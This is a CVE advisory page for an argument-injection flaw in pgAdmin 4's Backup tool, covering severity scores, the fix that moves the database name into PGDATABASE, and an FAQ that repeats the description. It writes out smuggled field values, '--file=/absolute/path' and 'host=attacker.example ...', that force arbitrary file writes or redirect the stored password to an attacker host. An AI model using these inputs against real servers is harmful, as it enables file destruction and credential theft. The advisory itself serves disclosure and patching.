CVE-2026-86864

CVE-2026-86864 is a high-severity vulnerability in Pgadmin Pgadmin 4 with a CVSS 3.x base score of 8.8. It is not currently listed as actively exploited by CISA, and its EPSS exploit-prediction score is low. The underlying weakness is classified as CWE-22.

Key facts

Description

pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further. The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role. The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value. This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.

Frequently asked questions

What is CVE-2026-86864?
pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further. The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role. The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value. This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.
How severe is CVE-2026-86864?
CVE-2026-86864 has a CVSS 3.x base score of 8.8, rated high severity. It is exploitable over network with low attack complexity, requires low privileges and no user interaction. Impact on confidentiality is high, integrity high, and availability high.
Is CVE-2026-86864 being actively exploited?
It is not currently listed in CISA's KEV catalog. Its EPSS exploit-prediction score is 1% (46th percentile), an estimate of the probability of exploitation in the next 30 days.
What products are affected by CVE-2026-86864?
CVE-2026-86864 affects Pgadmin Pgadmin 4. See the affected-products list for the exact vulnerable versions.
How do I fix CVE-2026-86864?
Review the linked vendor and NVD advisories for patched versions and mitigations, then upgrade or apply the recommended workaround. Given its high severity, prioritise patching exposed systems.
When was CVE-2026-86864 published?
CVE-2026-86864 was published on 2026-09-17 and last updated on 2026-09-21.

References

Affected products (1)

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